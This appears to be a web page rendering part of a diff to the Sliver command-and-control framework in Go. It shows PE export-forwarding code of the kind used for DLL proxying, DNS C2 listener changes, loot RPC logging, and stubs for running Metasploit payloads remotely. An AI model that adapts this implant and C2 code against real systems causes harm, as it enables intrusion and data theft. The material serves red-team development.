forwardOffset := newSection.VirtualAddress + refExportDirectory.Size
|
||||
rawAddressOfFunctions := tgtFile.RVAToFileOffset(newExportDirectory.AddressTableAddr)
|
||||
for i := uint32(0); i < newExportDirectory.NumberOfFunctions; i++ {
|
||||
offset := rawAddressOfFunctions + (4 * i)
|
||||
forwardName := exportNames[i]
|
||||
binary.LittleEndian.PutUint32(tgtBytes[offset:], forwardOffset)
|
||||
forwardOffset += uint32(len(forwardName) + 1)
|
||||
}
|
||||
|
||||
// Apply delta to export names
|
||||
rawAddressOfNames := tgtFile.RVAToFileOffset(newExportDirectory.NameTableAddr)
|
||||
for i := uint32(0); i < newExportDirectory.NumberOfNames; i++ {
|
||||
offset := rawAddressOfNames + (4 * i)
|
||||
data := binary.LittleEndian.Uint32(tgtBytes[offset:])
|
||||
binary.LittleEndian.PutUint32(tgtBytes[offset:], (data + delta))
|
||||
}
|
||||
// Return the new pe.File
|
||||
return pe.NewFile(bytes.NewReader(tgtBytes))
|
||||
}
|
||||
@@ -158,7 +158,7 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
|
||||
listenPort = uint16(req.Port)
|
||||
}
|
||||
|
||||
job, err := c2.StartDNSListenerJob(req.Domains, req.Canaries, listenPort)
|
||||
job, err := c2.StartDNSListenerJob(req.Host, listenPort, req.Domains, req.Canaries)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -166,9 +166,9 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
|
||||
if req.Persistent {
|
||||
cfg := &configs.DNSJobConfig{
|
||||
Domains: req.Domains,
|
||||
Host: req.Host,
|
||||
Port: listenPort,
|
||||
Canaries: req.Canaries,
|
||||
Host: req.Host,
|
||||
}
|
||||
configs.GetServerConfig().AddDNSJob(cfg)
|
||||
job.PersistentID = cfg.JobID
|
||||
|
||||
@@ -25,9 +25,14 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/loot"
|
||||
)
|
||||
|
||||
var (
|
||||
lootRPCLog = log.NamedLogger("rpc", "loot")
|
||||
)
|
||||
|
||||
// LootAdd - Add loot
|
||||
func (rpc *Server) LootAdd(ctx context.Context, lootReq *clientpb.Loot) (*clientpb.Loot, error) {
|
||||
loot, err := loot.GetLootStore().Add(lootReq)
|
||||
@@ -77,5 +82,6 @@ func (rpc *Server) LootAll(ctx context.Context, _ *commonpb.Empty) (*clientpb.Al
|
||||
|
||||
// LootAllOf - Get a list of all loot of a specific type
|
||||
func (rpc *Server) LootAllOf(ctx context.Context, lootReq *clientpb.Loot) (*clientpb.AllLoot, error) {
|
||||
return loot.GetLootStore().AllOf(lootReq.Type), nil
|
||||
allLoot := loot.GetLootStore().AllOf(lootReq.Type)
|
||||
return allLoot, nil
|
||||
}
|
||||
@@ -32,7 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/msf"
|
||||
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// Msf - Helper function to execute MSF payloads on the remote system
|
||||
|
||||
@@ -23,7 +23,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// Portfwd - Open an in-band port forward
|
||||
|
||||
Loaded 100 of 121 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user